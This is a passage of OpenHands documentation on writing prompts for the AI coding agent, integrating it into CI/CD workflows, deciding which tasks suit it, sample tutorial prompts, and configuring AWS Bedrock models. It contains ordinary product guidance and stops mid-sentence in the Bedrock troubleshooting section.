Cache product data in Redis with 5-minute TTL, - invalidate on product update. - ``` - - - -### Unrealistic Expectations - - - - ``` - Rewrite our entire backend from PHP to Go. - ``` - - - ``` - Create a Go microservice for the image processing currently in - src/php/ImageProcessor.php. - - This is the first step in our gradual migration. - The Go service should: - 1. Expose the same API endpoints - 2. Be deployable alongside the existing PHP app - 3. Include a feature flag to route traffic - - Start with just the resize and crop functions. - ``` - - - -### Incomplete Information - - - - ``` - The login is broken, fix it. - ``` - - - ``` - Users can't log in since yesterday's deployment. - - Symptoms: - - Login form submits but returns 500 error - - Server logs show: "Redis connection refused" - - Redis was moved to a new host yesterday - - The issue is likely in src/config/redis.js which may - have the old host hardcoded. - - Expected: Login should work with the new Redis at redis.internal:6380 - ``` - - - -## Best Practices - -### Structure Your Instructions - -Use clear structure for complex requests: - -``` -## Task -[One sentence describing what you want] - -## Background -[Context and why this matters] - -## Requirements -1. [Specific requirement] -2. [Specific requirement] -3. [Specific requirement] - -## Constraints -- [What you can't change] -- [What must be preserved] - -## Success Criteria -- [How to verify it works] -``` - -### Provide Examples - -Show what you want through examples: - -``` -Add input validation to the user registration endpoint. - -Example of what validation errors should look like: - -{ - "error": "validation_failed", - "details": [ - {"field": "email", "message": "Invalid email format"}, - {"field": "password", "message": "Must be at least 8 characters"} - ] -} - -Validate: -- email: valid format, not already registered -- password: min 8 chars, at least 1 number -- username: 3-20 chars, alphanumeric only -``` - -### Define Success Criteria - -Be explicit about what "done" means: - -``` -This task is complete when: -1. All existing tests pass (npm test) -2. New tests cover the added functionality -3. The feature works as described in the acceptance criteria -4. Code follows our style guide (npm run lint passes) -5. Documentation is updated if needed -``` - -### Iterate and Refine - -Build on previous work: - -``` -In our last session, you added the login endpoint. - -Now add the logout functionality: -1. POST /api/auth/logout endpoint -2. Invalidate the current session token -3. Clear any server-side session data -4. Follow the same patterns used in login - -The login implementation is in src/api/auth/login.js for reference. -``` - -## Quick Reference - -| Element | Bad | Good | -|---------|-----|------| -| Location | "in the code" | "in src/api/users.py line 45" | -| Problem | "it's broken" | "TypeError when user.preferences is None" | -| Scope | "add authentication" | "add JWT-based login endpoint" | -| Behavior | "make it work" | "return 200 with user data on success" | -| Patterns | (none) | "follow patterns in src/services/" | -| Success | (none) | "all tests pass, endpoint returns correct data" | - - -The investment you make in writing clear instructions pays off in fewer iterations, better results, and less time debugging miscommunication. Take the extra minute to be specific. - - -### OpenHands in Your SDLC -Source: https://docs.openhands.dev/openhands/usage/essential-guidelines/sdlc-integration.md - -OpenHands can enhance every phase of your software development lifecycle (SDLC), from planning through deployment. This guide shows some example prompts that you can use when you integrate OpenHands into your development workflow. - -## Integration with Development Workflows - -### Planning Phase - -Use OpenHands during planning to accelerate technical decisions: - -**Technical specification assistance:** -``` -Create a technical specification for adding search functionality: - -Requirements from product: -- Full-text search across products and articles -- Filter by category, price range, and date -- Sub-200ms response time at 1000 QPS - -Provide: -1. Architecture options (Elasticsearch vs. PostgreSQL full-text) -2. Data model changes needed -3. API endpoint designs -4. Estimated implementation effort -5. Risks and mitigations -``` - -**Sprint planning support:** -``` -Review these user stories and create implementation tasks in our Linear task management software using the LINEAR_API_KEY environment variable: - -Story 1: As a user, I can reset my password via email -Story 2: As an admin, I can view user activity logs - -For each story, create: -- Technical subtasks -- Estimated effort (hours) -- Dependencies on other work -- Testing requirements -``` - -### Development Phase - -OpenHands excels during active development: - -**Feature implementation:** -- Write new features with clear specifications -- Follow existing code patterns automatically -- Generate tests alongside code -- Create documentation as you go - -**Bug fixing:** -- Analyze error logs and stack traces -- Identify root causes -- Implement fixes with regression tests -- Document the issue and solution - -**Code improvement:** -- Refactor for clarity and maintainability -- Optimize performance bottlenecks -- Update deprecated APIs -- Improve error handling - -### Testing Phase - -Automate test creation and improvement: - -``` -Add comprehensive tests for the UserService module: - -Current coverage: 45% -Target coverage: 85% - -1. Analyze uncovered code paths using the codecov module -2. Write unit tests for edge cases -3. Add integration tests for API endpoints -4. Create test data factories -5. Document test scenarios - -Each time you add new tests, re-run codecov to check the increased coverage. Continue until you have sufficient coverage, and all tests pass (by either fixing the tests, or fixing the code if your tests uncover bugs). -``` - -### Review Phase - -Accelerate code reviews: - -``` -Review this PR for our coding standards: - -Check for: -1. Security issues (SQL injection, XSS, etc.) -2. Performance concerns -3. Test coverage adequacy -4. Documentation completeness -5. Adherence to our style guide - -Provide actionable feedback with severity ratings. -``` - -### Deployment Phase - -Assist with deployment preparation: - -``` -Prepare for production deployment: - -1. Review all changes since last release -2. Check for breaking API changes -3. Verify database migrations are reversible -4. Update the changelog -5. Create release notes -6. Identify rollback steps if needed -``` - -## CI/CD Integration - -OpenHands can be integrated into your CI/CD pipelines through the [Software Agent SDK](/sdk/index). Rather than using hypothetical actions, you can build powerful, customized workflows using real, production-ready tools. - -### GitHub Actions Integration - -The Software Agent SDK provides composite GitHub Actions for common workflows: - -- **[Automated PR Review](/openhands/usage/use-cases/code-review)** - Automatically review pull requests with inline comments -- **[SDK GitHub Workflows Guide](/sdk/guides/github-workflows/pr-review)** - Build custom GitHub workflows with the SDK - -For example, to set up automated PR reviews, see the [Automated Code Review](/openhands/usage/use-cases/code-review) guide which uses the `OpenHands/extensions/plugins/pr-review` composite action. - -### What You Can Automate - -Using the SDK, you can create GitHub Actions workflows to: - -1. **Automatic code review** when a PR is opened -2. **Automatically update docs** weekly when new functionality is added -3. **Diagnose errors** that have appeared in monitoring software such as DataDog and automatically send analyses and improvements -4. **Manage TODO comments** and track technical debt -5. **Assign reviewers** based on code ownership patterns - -### Getting Started - -To integrate OpenHands into your CI/CD: - -1. Review the [SDK Getting Started guide](/sdk/getting-started) -2. Explore the [GitHub Workflows examples](/sdk/guides/github-workflows/pr-review) -3. Set up your `LLM_API_KEY` as a repository secret -4. Use the provided composite actions or build custom workflows - -See the [Use Cases](/openhands/usage/use-cases/code-review) section for complete examples of production-ready integrations. - -## Team Workflows - -### Solo Developer Workflows - -For individual developers: - -**Daily workflow:** -1. **Morning review**: Have OpenHands analyze overnight CI results -2. **Feature development**: Use OpenHands for implementation -3. **Pre-commit**: Request review before pushing -4. **Documentation**: Generate/update docs for changes - -**Best practices:** -- Set up automated reviews on all PRs -- Use OpenHands for boilerplate and repetitive tasks -- Keep AGENTS.md updated with project patterns - -### Small Team Workflows - -For teams of 2-10 developers: - -**Collaborative workflow:** -``` -Team Member A: Creates feature branch, writes initial implementation -OpenHands: Reviews code, suggests improvements -Team Member B: Reviews OpenHands suggestions, approves or modifies -OpenHands: Updates documentation, adds missing tests -Team: Merges after final human review -``` - -**Communication integration:** -- Slack notifications for OpenHands findings -- Automatic issue creation for bugs found -- Weekly summary reports - -### Enterprise Team Workflows - -For larger organizations: - -**Governance and oversight:** -- Configure approval requirements for OpenHands changes -- Set up audit logging for all AI-assisted changes -- Define scope limits for automated actions -- Establish human review requirements - -**Scale patterns:** -``` -Central Platform Team: -├── Defines OpenHands policies -├── Manages integrations -└── Monitors usage and quality - -Feature Teams: -├── Use OpenHands within policies -├── Customize for team needs -└── Report issues to platform team -``` - -## Best Practices - -### Code Review Integration - -Set up effective automated reviews: - -```yaml -# .openhands/review-config.yml -review: - focus_areas: - - security - - performance - - test_coverage - - documentation - - severity_levels: - block_merge: - - critical - - security - require_response: - - major - informational: - - minor - - suggestion - - ignore_patterns: - - "*.generated.*" - - "vendor/*" -``` - -### Pull Request Automation - -Automate common PR tasks: - -| Trigger | Action | -|---------|--------| -| PR opened | Auto-review, label by type | -| Tests fail | Analyze failures, suggest fixes | -| Coverage drops | Identify missing tests | -| PR approved | Update changelog, check docs | - -### Quality Gates - -Define automated quality gates: - -```yaml -quality_gates: - - name: test_coverage - threshold: 80% - action: block_merge - - - name: security_issues - threshold: 0 critical - action: block_merge - - - name: code_review_score - threshold: 7/10 - action: require_review - - - name: documentation - requirement: all_public_apis - action: warn -``` - -### Automated Testing - -Integrate OpenHands with your testing strategy: - -**Test generation triggers:** -- New code without tests -- Coverage below threshold -- Bug fix without regression test -- API changes without contract tests - -**Example workflow:** -```yaml -on: - push: - branches: [main] - -jobs: - ensure-coverage: - steps: - - name: Check coverage - run: | - COVERAGE=$(npm test -- --coverage | grep "All files" | awk '{print $10}') - if [ "$COVERAGE" -lt "80" ]; then - openhands generate-tests --target 80 - fi -``` - -## Common Integration Patterns - -### Pre-Commit Hooks - -Run OpenHands checks before commits: - -```bash -# .git/hooks/pre-commit -#!/bin/bash - -# Quick code review -openhands review --quick --staged-only - -if [ $? -ne 0 ]; then - echo "OpenHands found issues. Review and fix before committing." - exit 1 -fi -``` - -### Post-Commit Actions - -Automate tasks after commits: - -```yaml -# .github/workflows/post-commit.yml -on: - push: - branches: [main] - -jobs: - update-docs: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - name: Update API docs - run: openhands update-docs --api - - name: Commit changes - run: | - git add docs/ - git commit -m "docs: auto-update API documentation" || true - git push -``` - -### Scheduled Tasks - -Run regular maintenance: - -```yaml -# Weekly dependency check -on: - schedule: - - cron: '0 9 * * 1' # Monday 9am - -jobs: - dependency-review: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - name: Check dependencies - run: | - openhands check-dependencies --security --outdated - - name: Create issues - run: openhands create-issues --from-report deps.json -``` - -### Event-Triggered Workflows - -You can build custom event-triggered workflows using the Software Agent SDK. For example, the [Incident Triage](/openhands/usage/use-cases/incident-triage) use case shows how to automatically analyze and respond to issues. - -For more event-driven automation patterns, see: -- [SDK GitHub Workflows Guide](/sdk/guides/github-workflows/pr-review) - Build custom workflows triggered by GitHub events - -### When to Use OpenHands -Source: https://docs.openhands.dev/openhands/usage/essential-guidelines/when-to-use-openhands.md - -OpenHands excels at many development tasks, but knowing when to use it—and when to handle things yourself—helps you get the best results. This guide helps you identify the right tasks for OpenHands and set yourself up for success. - -## Task Complexity Guidance - -### Simple Tasks - -**Ideal for OpenHands** — These tasks can often be completed in a single session with minimal guidance. - -- Adding a new function or method -- Writing unit tests for existing code -- Fixing simple bugs with clear error messages -- Code formatting and style fixes -- Adding documentation or comments -- Simple refactoring (rename, extract method) -- Configuration changes - -**Example prompt:** -``` -Add a calculateDiscount() function to src/utils/pricing.js that takes -a price and discount percentage, returns the discounted price. -Add unit tests. -``` - -### Medium Complexity Tasks - -**Good for OpenHands** — These tasks may need more context and possibly some iteration. - -- Implementing a new API endpoint -- Adding a feature to an existing module -- Debugging issues that span multiple files -- Migrating code to a new pattern -- Writing integration tests -- Performance optimization with clear metrics -- Setting up CI/CD workflows - -**Example prompt:** -``` -Add a user profile endpoint to our API: -- GET /api/users/:id/profile -- Return user data with their recent activity -- Follow patterns in existing controllers -- Add integration tests -- Handle not-found and unauthorized cases -``` - -### Complex Tasks - -**May require iteration** — These benefit from breaking down into smaller pieces. - -- Large refactoring across many files -- Architectural changes -- Implementing complex business logic -- Multi-service integrations -- Performance optimization without clear cause -- Security audits -- Framework or major dependency upgrades - -**Recommended approach:** -``` -Break large tasks into phases: - -Phase 1: "Analyze the current authentication system and document -all touch points that need to change for OAuth2 migration." - -Phase 2: "Implement the OAuth2 provider configuration and basic -token flow, keeping existing auth working in parallel." - -Phase 3: "Migrate the user login flow to use OAuth2, maintaining -backwards compatibility." -``` - -## Best Use Cases - -### Ideal Scenarios - -OpenHands is **most effective** when: - -| Scenario | Why It Works | -|----------|--------------| -| Clear requirements | OpenHands can work independently | -| Well-defined scope | Less ambiguity, fewer iterations | -| Existing patterns to follow | Consistency with codebase | -| Good test coverage | Easy to verify changes | -| Isolated changes | Lower risk of side effects | - -**Perfect use cases:** - -- **Bug fixes with reproduction steps**: Clear problem, measurable solution -- **Test additions**: Existing code provides the specification -- **Documentation**: Code is the source of truth -- **Boilerplate generation**: Follows established patterns -- **Code review and analysis**: Read-only, analytical tasks - -### Good Fit Scenarios - -OpenHands works **well with some guidance** for: - -- **Feature implementation**: When requirements are documented -- **Refactoring**: When goals and constraints are clear -- **Debugging**: When you can provide logs and context -- **Code modernization**: When patterns are established -- **API development**: When specs exist - -**Tips for these scenarios:** - -1. Provide clear acceptance criteria -2. Point to examples of similar work in the codebase -3. Specify constraints and non-goals -4. Be ready to iterate and clarify - -### Poor Fit Scenarios - -**Consider alternatives** when: - -| Scenario | Challenge | Alternative | -|----------|-----------|-------------| -| Vague requirements | Unclear what "done" means | Define requirements first | -| Exploratory work | Need human creativity/intuition | Brainstorm first, then implement | -| Highly sensitive code | Risk tolerance is zero | Human review essential | -| Organizational knowledge | Needs tribal knowledge | Pair with domain expert | -| Visual design | Subjective aesthetic judgments | Use design tools | - -**Red flags that a task may not be suitable:** - -- "Make it look better" (subjective) -- "Figure out what's wrong" (too vague) -- "Rewrite everything" (too large) -- "Do what makes sense" (unclear requirements) -- Changes to production infrastructure without review - -## Limitations - -### Current Limitations - -Be aware of these constraints: - -- **Long-running processes**: Sessions have time limits -- **Interactive debugging**: Can't set breakpoints interactively -- **Visual verification**: Can't see rendered UI easily -- **External system access**: May need credentials configured -- **Large codebase analysis**: Memory and time constraints - -### Technical Constraints - -| Constraint | Impact | Workaround | -|------------|--------|------------| -| Session duration | Very long tasks may timeout | Break into smaller tasks | -| Context window | Can't see entire large codebase at once | Focus on relevant files | -| No persistent state | Previous sessions not remembered | Use AGENTS.md for context | -| Network access | Some external services may be blocked | Use local resources when possible | - -### Scope Boundaries - -OpenHands works within your codebase but has boundaries: - -**Can do:** -- Read and write files in the repository -- Run tests and commands -- Access configured services and APIs -- Browse documentation and reference material - -**Cannot do:** -- Access your local environment outside the sandbox -- Make decisions requiring business context it doesn't have -- Replace human judgment for critical decisions -- Guarantee production-safe changes without review - -## Pre-Task Checklist - -### Prerequisites - -Before starting a task, ensure: - -- [ ] Clear description of what you want -- [ ] Expected outcome is defined -- [ ] Relevant files are identified -- [ ] Dependencies are available -- [ ] Tests can be run - -### Environment Setup - -Prepare your repository: - -```markdown -## AGENTS.md Checklist - -- [ ] Build commands documented -- [ ] Test commands documented -- [ ] Code style guidelines noted -- [ ] Architecture overview included -- [ ] Common patterns described -``` - -See [Repository Setup](/openhands/usage/customization/repository) for details. - -### Repository Preparation - -Optimize for success: - -1. **Clean state**: Commit or stash uncommitted changes -2. **Working build**: Ensure the project builds -3. **Passing tests**: Start from a green state -4. **Updated dependencies**: Resolve any dependency issues -5. **Clear documentation**: Update AGENTS.md if needed - -## Post-Task Review - -### Quality Checks - -After OpenHands completes a task: - -- [ ] Review all changed files -- [ ] Understand each change made -- [ ] Check for unintended modifications -- [ ] Verify code style consistency -- [ ] Look for hardcoded values or credentials - -### Validation Steps - -1. **Run tests**: `npm test`, `pytest`, etc. -2. **Check linting**: Ensure style compliance -3. **Build the project**: Verify it still compiles -4. **Manual testing**: Test the feature yourself -5. **Edge cases**: Try unusual inputs - -### Learning from Results - -After each significant task: - -**What went well?** -- Note effective prompt patterns -- Document successful approaches -- Update AGENTS.md with learnings - -**What could improve?** -- Identify unclear instructions -- Note missing context -- Plan better for next time - -**Update your repository:** -```markdown -## Things OpenHands Should Know (add to AGENTS.md) - -- When adding API endpoints, always add to routes/index.js -- Our date format is ISO 8601 everywhere -- All database queries go through the repository pattern -``` - -## Decision Framework - -Use this framework to decide if a task is right for OpenHands: - -``` -Is the task well-defined? -├── No → Define it better first -└── Yes → Continue - -Do you have clear success criteria? -├── No → Define acceptance criteria -└── Yes → Continue - -Is the scope manageable (< 100 LOC)? -├── No → Break into smaller tasks -└── Yes → Continue - -Do examples exist in the codebase? -├── No → Provide examples or patterns -└── Yes → Continue - -Can you verify the result? -├── No → Add tests or verification steps -└── Yes → ✅ Good candidate for OpenHands -``` - -OpenHands can be used for most development tasks -- the developers of OpenHands write most of their code with OpenHands! - -But it can be particularly useful for certain types of tasks. For instance: - -- **Clearly Specified Tasks:** Generally, if the task has a very clear success criterion, OpenHands will do better. It is especially useful if you can define it in a way that can be verified programmatically, like making sure that all of the tests pass or test coverage gets above a certain value using a particular program. But even when you don't have something like that, you can just provide a checklist of things that need to be done. -- **Highly Repetitive Tasks:** These are tasks that need to be done over and over again, but nobody really wants to do them. Some good examples include code review, improving test coverage, upgrading dependency libraries. In addition to having clear success criteria, you can create "[skills](/overview/skills)" that clearly describe your policies about how to perform these tasks, and improve the skills over time. -- **Helping Answer Questions:** OpenHands agents are generally pretty good at answering questions about code bases, so you can feel free to ask them when you don't understand how something works. They can explore the code base and understand it deeply before providing an answer. -- **Checking the Correctness of Library/Backend Code:** when agents work, they can run code, and they are particularly good at checking whether libraries or backend code works well. -- **Reading Logs and Understanding Errors:** Agents can read blogs from GitHub or monitoring software and understand what is going wrong with your service in a live production setting. They're actually quite good at filtering through large amounts of data, especially if pushed in the correct direction. - -There are also some tasks where agent struggle a little more. - -- **Quality Assurance of Frontend Apps:** Agents can spin up a website and check whether it works by clicking through the buttons. But they are a little bit less good at visual understanding of frontends at the moment and can sometimes make mistakes if they don't understand the workflow very well. -- **Implementing Code they Cannot Test Live:** If agents are not able to actually run and test the app, such as connecting to a live service that they do not have access to, often they will fail at performing tasks all the way to the end, unless they get some encouragement. - -### Tutorial Library -Source: https://docs.openhands.dev/openhands/usage/get-started/tutorials.md - -Welcome to the OpenHands tutorial library. These tutorials show you how to use OpenHands for common development tasks, from testing to feature development. Each tutorial includes example prompts, expected workflows, and tips for success. - -## Categories Overview - -| Category | Best For | Complexity | -|----------|----------|------------| -| [Testing](#testing) | Adding tests, improving coverage | Simple to Medium | -| [Data Analysis](#data-analysis) | Processing data, generating reports | Simple to Medium | -| [Web Scraping](#web-scraping) | Extracting data from websites | Medium | -| [Code Review](#code-review) | Analyzing PRs, finding issues | Simple | -| [Bug Fixing](#bug-fixing) | Diagnosing and fixing errors | Medium | -| [Feature Development](#feature-development) | Building new functionality | Medium to Complex | - - -For in-depth guidance on specific use cases, see our [Use Cases](/openhands/usage/use-cases/code-review) section which includes detailed workflows for Code Review, Incident Triage, and more. - - -## Task Complexity Guidance - -Before starting, assess your task's complexity: - -**Simple tasks** (5-15 minutes): -- Single file changes -- Clear, well-defined requirements -- Existing patterns to follow - -**Medium tasks** (15-45 minutes): -- Multiple file changes -- Some discovery required -- Integration with existing code - -**Complex tasks** (45+ minutes): -- Architectural changes -- Multiple components -- Requires iteration - - -Start with simpler tutorials to build familiarity with OpenHands before tackling complex tasks. - - -## Best Use Cases - -OpenHands excels at: - -- **Repetitive tasks**: Boilerplate code, test generation -- **Pattern application**: Following established conventions -- **Analysis**: Code review, debugging, documentation -- **Exploration**: Understanding new codebases - -## Example Tutorials by Category - -### Testing - -#### Tutorial: Add Unit Tests for a Module - -**Goal**: Achieve 80%+ test coverage for a service module - -**Prompt**: -``` -Add unit tests for the UserService class in src/services/user.js. - -Current coverage: 35% -Target coverage: 80% - -Requirements: -1. Test all public methods -2. Cover edge cases (null inputs, empty arrays, etc.) -3. Mock external dependencies (database, API calls) -4. Follow our existing test patterns in tests/services/ -5. Use Jest as the testing framework - -Focus on these methods: -- createUser() -- updateUser() -- deleteUser() -- getUserById() -``` - -**What OpenHands does**: -1. Analyzes the UserService class -2. Identifies untested code paths -3. Creates test file with comprehensive tests -4. Mocks dependencies appropriately -5. Runs tests to verify they pass - -**Tips**: -- Provide existing test files as examples -- Specify the testing framework -- Mention any mocking conventions - ---- - -#### Tutorial: Add Integration Tests for an API - -**Goal**: Test API endpoints end-to-end - -**Prompt**: -``` -Add integration tests for the /api/products endpoints. - -Endpoints to test: -- GET /api/products (list all) -- GET /api/products/:id (get one) -- POST /api/products (create) -- PUT /api/products/:id (update) -- DELETE /api/products/:id (delete) - -Requirements: -1. Use our test database (configured in jest.config.js) -2. Set up and tear down test data properly -3. Test success cases and error cases -4. Verify response bodies and status codes -5. Follow patterns in tests/integration/ -``` - ---- - -### Data Analysis - -#### Tutorial: Create a Data Processing Script - -**Goal**: Process CSV data and generate a report - -**Prompt**: -``` -Create a Python script to analyze our sales data. - -Input: sales_data.csv with columns: date, product, quantity, price, region - -Requirements: -1. Load and validate the CSV data -2. Calculate: - - Total revenue by product - - Monthly sales trends - - Top 5 products by quantity - - Revenue by region -3. Generate a summary report (Markdown format) -4. Create visualizations (bar chart for top products, line chart for trends) -5. Save results to reports/ directory - -Use pandas for data processing and matplotlib for charts. -``` - -**What OpenHands does**: -1. Creates a Python script with proper structure -2. Implements data loading with validation -3. Calculates requested metrics -4. Generates formatted report -5. Creates and saves visualizations - ---- - -#### Tutorial: Database Query Analysis - -**Goal**: Analyze and optimize slow database queries - -**Prompt**: -``` -Analyze our slow query log and identify optimization opportunities. - -File: logs/slow_queries.log - -For each slow query: -1. Explain why it's slow -2. Suggest index additions if helpful -3. Rewrite the query if it can be optimized -4. Estimate the improvement - -Create a report in reports/query_optimization.md with: -- Summary of findings -- Prioritized recommendations -- SQL for suggested changes -``` - ---- - -### Web Scraping - -#### Tutorial: Build a Web Scraper - -**Goal**: Extract product data from a website - -**Prompt**: -``` -Create a web scraper to extract product information from our competitor's site. - -Target URL: https://example-store.com/products - -Extract for each product: -- Name -- Price -- Description -- Image URL -- SKU (if available) - -Requirements: -1. Use Python with BeautifulSoup or Scrapy -2. Handle pagination (site has 50 pages) -3. Respect rate limits (1 request/second) -4. Save results to products.json -5. Handle errors gracefully -6. Log progress to console - -Include a README with usage instructions. -``` - -**Tips**: -- Specify rate limiting requirements -- Mention error handling expectations -- Request logging for debugging - ---- - -### Code Review - - -For comprehensive code review guidance, see the [Code Review Use Case](/openhands/usage/use-cases/code-review) page. For automated PR reviews using GitHub Actions, see the [PR Review SDK Guide](/sdk/guides/github-workflows/pr-review). - - -#### Tutorial: Security-Focused Code Review - -**Goal**: Identify security vulnerabilities in a PR - -**Prompt**: -``` -Review this pull request for security issues: - -Focus areas: -1. Input validation - check all user inputs are sanitized -2. Authentication - verify auth checks are in place -3. SQL injection - check for parameterized queries -4. XSS - verify output encoding -5. Sensitive data - ensure no secrets in code - -For each issue found, provide: -- File and line number -- Severity (Critical/High/Medium/Low) -- Description of the vulnerability -- Suggested fix with code example - -Output format: Markdown suitable for PR comments -``` - ---- - -#### Tutorial: Performance Review - -**Goal**: Identify performance issues in code - -**Prompt**: -``` -Review the OrderService class for performance issues. - -File: src/services/order.js - -Check for: -1. N+1 database queries -2. Missing indexes (based on query patterns) -3. Inefficient loops or algorithms -4. Missing caching opportunities -5. Unnecessary data fetching - -For each issue: -- Explain the impact -- Show the problematic code -- Provide an optimized version -- Estimate the improvement -``` - ---- - -### Bug Fixing - - -For production incident investigation and automated error analysis, see the [Incident Triage Use Case](/openhands/usage/use-cases/incident-triage) which covers integration with monitoring tools like Datadog. - - -#### Tutorial: Fix a Crash Bug - -**Goal**: Diagnose and fix an application crash - -**Prompt**: -``` -Fix the crash in the checkout process. - -Error: -TypeError: Cannot read property 'price' of undefined - at calculateTotal (src/checkout/calculator.js:45) - at processOrder (src/checkout/processor.js:23) - -Steps to reproduce: -1. Add item to cart -2. Apply discount code "SAVE20" -3. Click checkout -4. Crash occurs - -The bug was introduced in commit abc123 (yesterday's deployment). - -Requirements: -1. Identify the root cause -2. Fix the bug -3. Add a regression test -4. Verify the fix doesn't break other functionality -``` - -**What OpenHands does**: -1. Analyzes the stack trace -2. Reviews recent changes -3. Identifies the null reference issue -4. Implements a defensive fix -5. Creates test to prevent regression - ---- - -#### Tutorial: Fix a Memory Leak - -**Goal**: Identify and fix a memory leak - -**Prompt**: -``` -Investigate and fix the memory leak in our Node.js application. - -Symptoms: -- Memory usage grows 100MB/hour -- After 24 hours, app becomes unresponsive -- Restarting temporarily fixes the issue - -Suspected areas: -- Event listeners in src/events/ -- Cache implementation in src/cache/ -- WebSocket connections in src/ws/ - -Analyze these areas and: -1. Identify the leak source -2. Explain why it's leaking -3. Implement a fix -4. Add monitoring to detect future leaks -``` - ---- - -### Feature Development - -#### Tutorial: Add a REST API Endpoint - -**Goal**: Create a new API endpoint with full functionality - -**Prompt**: -``` -Add a user preferences API endpoint. - -Endpoint: /api/users/:id/preferences - -Operations: -- GET: Retrieve user preferences -- PUT: Update user preferences -- PATCH: Partially update preferences - -Preferences schema: -{ - theme: "light" | "dark", - notifications: { email: boolean, push: boolean }, - language: string, - timezone: string -} - -Requirements: -1. Follow patterns in src/api/routes/ -2. Add request validation with Joi -3. Use UserPreferencesService for business logic -4. Add appropriate error handling -5. Document the endpoint in OpenAPI format -6. Add unit and integration tests -``` - -**What OpenHands does**: -1. Creates route handler following existing patterns -2. Implements validation middleware -3. Creates or updates the service layer -4. Adds error handling -5. Generates API documentation -6. Creates comprehensive tests - ---- - -#### Tutorial: Implement a Feature Flag System - -**Goal**: Add feature flags to the application - -**Prompt**: -``` -Implement a feature flag system for our application. - -Requirements: -1. Create a FeatureFlags service -2. Support these flag types: - - Boolean (on/off) - - Percentage (gradual rollout) - - User-based (specific user IDs) -3. Load flags from environment variables initially -4. Add a React hook: useFeatureFlag(flagName) -5. Add middleware for API routes - -Initial flags to configure: -- new_checkout: boolean, default false -- dark_mode: percentage, default 10% -- beta_features: user-based - -Include documentation and tests. -``` - ---- - -## Contributing Tutorials - -Have a great use case? Share it with the community! - -**What makes a good tutorial:** -- Solves a common problem -- Has clear, reproducible steps -- Includes example prompts -- Explains expected outcomes -- Provides tips for success - -**How to contribute:** -1. Create a detailed example following this format -2. Test it with OpenHands to verify it works -3. Submit via GitHub pull request to the docs repository -4. Include any prerequisites or setup required - - -These tutorials are starting points. The best results come from adapting them to your specific codebase, conventions, and requirements. - - -### Key Features -Source: https://docs.openhands.dev/openhands/usage/key-features.md - - - - - Displays the conversation between the user and OpenHands. - - OpenHands explains its actions in this panel. - - ![overview](/openhands/static/img/chat-panel.png) - - - - Shows the file changes performed by OpenHands. - - ![overview](/openhands/static/img/changes-tab.png) - - - - Embedded VS Code for browsing and modifying files. - - Can also be used to upload and download files. - - ![overview](/openhands/static/img/vs-tab.png) - - - - A space for OpenHands and users to run terminal commands. - - ![overview](/openhands/static/img/terminal-tab.png) - - - - Displays the web server when OpenHands runs an application. - - Users can interact with the running application. - - ![overview](/openhands/static/img/app-tab.png) - - - - Used by OpenHands to browse websites. - - The browser is non-interactive. - - ![overview](/openhands/static/img/browser-tab.png) - - - -### AWS Bedrock -Source: https://docs.openhands.dev/openhands/usage/llms/aws-bedrock.md - -## AWS Bedrock Configuration - -AWS Bedrock provides access to foundation models from Amazon and third-party providers like Anthropic Claude, Meta Llama, and Mistral. - -### Prerequisites - -1. An AWS account with Bedrock access enabled -2. IAM credentials with permissions to invoke Bedrock models -3. The desired models enabled in your AWS Bedrock console - -### Environment Variables - -When running Agent Canvas with the [official Docker image](/openhands/usage/agent-canvas/backend-setup/docker), add these options to the documented `docker run` command: - -```bash ---env LLM_AWS_ACCESS_KEY_ID="your-access-key-id" \ ---env LLM_AWS_SECRET_ACCESS_KEY="your-secret-access-key" \ ---env LLM_AWS_REGION_NAME="us-east-1" -``` - -The official `ghcr.io/openhands/agent-canvas:latest` image includes the AWS SDK for Python (`boto3`). - - -Make sure you have enabled the Bedrock models you want to use in the AWS Console. Go to **Amazon Bedrock** → **Model access** and request access to the models you need. - - -### UI Configuration - -In Agent Canvas: - -1. Open `Settings > LLM` and enable the `Advanced` options. -2. Set `Custom Model` to the Bedrock model or inference profile ID. See [Model IDs](#model-ids). -3. Leave `Base URL` empty because Bedrock uses AWS endpoints automatically. -4. Leave `API Key` empty because authentication is handled through your AWS credentials. -5. Save the profile and start a new conversation to test it. - -See [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) for more information about profile settings. - -### Model IDs - -Bedrock model IDs are managed by AWS and may change over time. Use the exact **Model ID** from the AWS Console or the AWS documentation (no `bedrock/` prefix). - -Example format: - -- `Custom Model`: `anthropic.claude-3-5-sonnet-20241022-v2:0` - -For a complete list of available models, see the [AWS Bedrock documentation](https://docs.aws.amazon.com/bedrock/latest/userguide/models-supported.html). - -### Cross-Region Inference - -Some models must be invoked through a cross-region inference profile rather than their direct foundation model ID. Inference profile IDs include a geographic prefix such as `us.`. - -For example, use: - -- `Custom Model`: `us.anthropic.claude-sonnet-4-5-20250929-v1:0` - -instead of the direct model ID: - -- `anthropic.claude-sonnet-4-5-20250929-v1:0` - -No additional environment variables are required. Keep using the AWS region where you configured Bedrock access and your existing credentials. See [Increase throughput with cross-region inference](https://docs.aws.amazon.com/bedrock/latest/userguide/cross-region-inference.html) for supported profiles and regions. - -### Using IAM Roles (Alternative to Access Keys) - -If running OpenHands on AWS infrastructure such as EC2, ECS, or Lambda, you can use IAM roles instead of access keys: - -1. Attach an IAM role with Bedrock permissions to your compute resource. -2. Omit the `LLM_AWS_ACCESS_KEY_ID` and `LLM_AWS_SECRET_ACCESS_KEY` environment variables. -3. The AWS SDK automatically uses the instance role credentials. - -### Troubleshooting - -#### "No module named 'boto3'" Error - -If you encounter this error: - -```text -litellm.APIConnectionError: No module named 'boto3' -ModuleNotFoundError: No module named 'boto3' -``` - -First identify how you installed Agent Canvas: - -- **Docker:** The current `ghcr.io/openhands/agent-canvas:latest` image includes `boto3`. Pull the latest image and recreate the container: - - ```bash - docker pull ghcr.io/openhands/agent-canvas:latest - ``` - -- **npm or npx:** The Python environment managed by the npm distribution may not include the optional Bedrock dependency. Follow [OpenHands issue #16578](https://github.com/OpenHands/OpenHands/issues/16578) for the package fix. Use the official Agent Canvas Docker image if you need Bedrock while that issue remains open. - -Do not install `boto3` into a temporary uv archive environment because Agent Canvas may recreate that environment. - -#### On-Demand Throughput Is Not Supported - -Some foundation model IDs cannot be invoked directly and return an error similar to: - -```text -Invocation of model ID ... with on-demand throughput isn't supported. -Retry your request with the ID or ARN of an inference profile that contains this model. -``` - -Use the corresponding inference profile ID or ARN, such as `us.anthropic.claude-sonnet-4-5-20250929-v1:0`. This error does not indicate a credential, model access, or 